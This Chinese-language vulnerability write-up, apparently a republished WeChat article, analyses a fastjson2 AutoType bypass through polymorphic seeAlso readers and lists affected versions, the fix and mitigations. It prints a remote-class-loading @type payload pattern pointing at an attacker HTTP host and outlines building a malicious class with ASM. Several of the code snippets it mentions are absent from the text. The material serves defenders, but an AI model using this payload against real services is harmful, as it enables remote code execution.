Fastjson2虽无CVE记录,但2026年7月曝出默认配置下的AutoType授权绕过漏洞:当解析路径存在多态类型时,ObjectReaderSeeAlso会强制打开SupportAutoType,使攻击者通过@type注入远程类加载串实现RCE,影响≤2.0.62版本,官方于2.0.65修复。
讲 Fastjson 2(fastjson2)之前,得先把它和老 Fastjson(fastjson 1.x)摘干净。很多人一听"Fastjson"就想到 CVE-2017-18349、CVE-2022-25845 那一串反序列化漏洞,以为 fastjson2 是 fastjson1 修复漏洞后出的新版本,漏洞情况也差不多。
这个理解是错的。fastjson2 是阿里重写的 JSON 库(groupId 从 com.alibaba 换成 com.alibaba.fastjson2),底层架构整个换过,老 Fastjson 1.x 的黑名单类、JNDI 那些利用链,它基本不吃这套。所以 2026 年到现在,主流漏洞库确实没给 fastjson2 收录过一条 CVE。
但"没有 CVE"不等于"没风险"。2026 年 7 月底,业内陆续有人放出 fastjson2 在默认配置下也能被带出远程类加载的研究,直指它自己那套多态反序列化(@JSONType(seeAlso))机制。2026 年 9 月 2 日(也就是今天),官方发布 2.0.65,明确这就是一个安全修复版本,修的就是一条 AutoType 授权绕过。这篇文章把这条链掰开讲清楚。
🔹 影响版本:fastjson2 ≤ 2.0.62(AutoType 默认关闭也能打)
🔹 触发前提:解析路径里存在多态类型(@JSONType(seeAlso=…),或字段上是 Jackson 的 @JsonSubTypes)
🔹 利用结果:JDK 8 / 21 可远程类加载并执行 <clinit>,JDK 9+ 某些情况降级为 SSRF
🔹 官方修复:2.0.65(2026-09-02 发布),PR #7695 / #7703
🔹 临时缓解:-Dfastjson2.parser.safeMode=true
一句话概括:fastjson2 默认不开 AutoType,看起来很稳,但只要目标代码用了多态建模,ObjectReaderSeeAlso 会在构造对象读取器时自己把 SupportAutoType 打开,于是攻击者放进 @type 的 jar:http:.. 串一路走到了类加载器,把远程的恶意类拉下来执行。
fastjson2 的官方安全设计是三层:
1. AutoType 默认关闭——普通 @type 默认不解析成任意类
2. SafeMode——完全禁用 AutoType,连显式传参也不认
3. deny list(黑名单)+ type name 校验——拦截 ClassLoader、DataSource、RowSet 等危险类
这套设计对"普通 JSON.parse / parseObject(body, Object.class)"确实有效。但问题出在多态类型这条路。
fastjson2 支持多态建模:一个父类标记了子类,比如 Animal 上用 @JSONType(seeAlso = {Dog.class, Cat.class}),那么序列化/反序列化时按 @type 字段在子类之间分发。为了实现这个分发,它构造的是 ObjectReaderSeeAlso。这个 reader 的构造函数里,硬编码了一段:
ObjectReaderAdapter.getFeatures() 会把它取出来。到真正的解析时:
也就是说,只要触发了 seeAlso 多态路径,AutoType 的开关就被这个 reader 自己拨到了 ON。应用代码一行 AutoType 都没开,但这条链上的 @type 会被当作 AutoType 处理。这就是"授权绕过"的本质——@type 的哈希命中了 reader 缓存,被当成了"已经授权过"的类名。
AutoType 打开之后,ObjectReaderProvider.checkAutoType 会读这个 @type。它对类名做增量 FNV-1a-64 哈希,逐个前缀去比对 acceptHashCodes(白名单哈希)。攻击者随便写个 jar:http:.. 开头的名字,哈希必然不命中。按正常逻辑,不命中就该拒绝。但看 fastjson2 2.0.53 这段代码:
普通路径(supportAutoType=false)下,哈希不命中就 return null 收工,这条链也就断了。但 seeAlso reader 已经把它置成 true,于是走到了最后的 TypeUtils.loadClass(typeName)——这里没有哈希校验,攻击者的字符串被原样交给类加载器。后面的 ClassLoader/DataSource/RowSet 黑名单检查发生在 loadClass之后,拦不住这次加载本身。
类名是 jar:http:..203.0.113.10:18080.exploit!.Evil 这种,要走到 URLClassLoader.findClass 有两个坑要过。
坑一:JDK ClassLoader.checkName 拒绝含 / 的二进制类名。
坑二:URLClassLoader.findClass 内部会把 . 换成 / 再拼 .class。
点号和斜杠的换算关系:
|
|
|
|
|---|---|---|
http:// |
http:.. |
http:// |
/exploit!/ |
.exploit!. |
/exploit!/ |
于是请求变成了对攻击者 HTTP 服务器的 GET /exploit,拉下来一个 JAR,里面是 Evil.class。
类下载并 defineClass 之后,checkAutoType 还有一次类型兼容检查:
所以恶意类必须继承声明的那个多态父类(比如 Animal)。这在攻击者那边不是问题——目标类名一旦暴露(如 com.vuln.fastjson.Animal),用 ASM 动态生成一个继承它的子类即可,构建时就能做,不依赖目标环境里的字节码。下面这段是 PoC 里用 ASM 生成 Evil 的核心:
类被加载、defineClass 通过类型检查的瞬间,JVM 会执行 <clinit> 静态初始化块,命令随之执行,攻击者通过回调服务器把外带结果收回来。整个过程目标应用一次 AutoType 都没敢开过。
版本与 JDK。 heart147 那个 PoC(专门做 fastjson2 RCE 的)标注:fastjson2 ≤ 2.0.62,JDK 8 和 JDK 21 均实测完整 RCE,JDK 11/17 预期可行。dinosn 那个 Docker 复现环境则明确:fastjson2 2.0.57 / 2.0.62 在默认配置下都能拉到远程类并初始化(2.0.62 默认构建),但 JDK 17 下 defineClass 会因为"非法类名"抛 ClassFormatError,净效果从 RCE 降级成 SSRF。
Jackson 注解也中招。 fastjson2 默认 useJacksonAnnotation=true,所以模型上只写了 Jackson 的 @JsonSubTypes / @JsonTypeInfo 也能触发 seeAlso 路径,不需要目标项目用 fastjson2 自己的 @JSONType 注解。这对很多"为了稳妥换到 fastjson2、但其实还在用 Jackson 老模型"的项目是个提醒。
autoTypeFilter 不是白名单。 有人以为设了 autoTypeFilter("com.example.") 就只放行自家包。实际情况是:ObjectReaderProvider.checkAutoType 调 handler,只在 handler 返回非空(即命中)时短路;名字不匹配时 handler 返回 null,代码继续往下走正常的 AutoType 解析。也就是说它是个"额外放行"的钩子,不是"仅允许"的过滤器。用它当边界,等于没有边界。
2.0.65 修了什么。 官方发布说明写得清楚:@type 的 FNV-1a-64 哈希命中 reader-cache 不再作为授权依据,所有不可信输入路径(JSON、JSONB 的各类 reader)的 @type 都要走完整的 provider 安全检查——SafeMode、deny list、类型名校验、AutoTypeBeforeHandler。也就是说,不再有"哈希命中即放行"的快捷通道。对应的硬化的 PR 是 #7695 / #7703(拒绝含 : 和 ! 的 typeName、哈希命中后二次文本校验、把 ClassLoader/DataSource/RowSet 黑名单补到非 SupportAutoType 路径)。
漏洞利用工具各位大佬网上搜一下就有,我就不主动传播了。如有需要,也可以在评论区回复:fastjson2-rce。
fastjson2 和老 Fastjson 不是一回事,这个认知在排查反序列化问题时很关键。它的 AutoType 默认关闭,挡住了绝大多数传统利用链,但多态反序列化这条旁路在 2.0.62 及以前是敞开的:一个 @JSONType(seeAlso) 或 Jackson 的 @JsonSubTypes 就能让 reader 自己把 AutoType 打开,jar:http:.. 直接把远程类拉进 JVM。2.0.65 是官方针对这条链的安全修复版,9 月 2 日刚发布。判断一个 Java 服务有没有暴露面,别只看它挂了哪个库、开了哪个开关,要看具体走的是哪条解析路径。技巧也好,踩坑也好,都在这些细节里。
原文始发于微信公众号(逆熵寻生):Fastjson 2 AutoType 授权绕过——默认配置也能被带出远程类加载
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。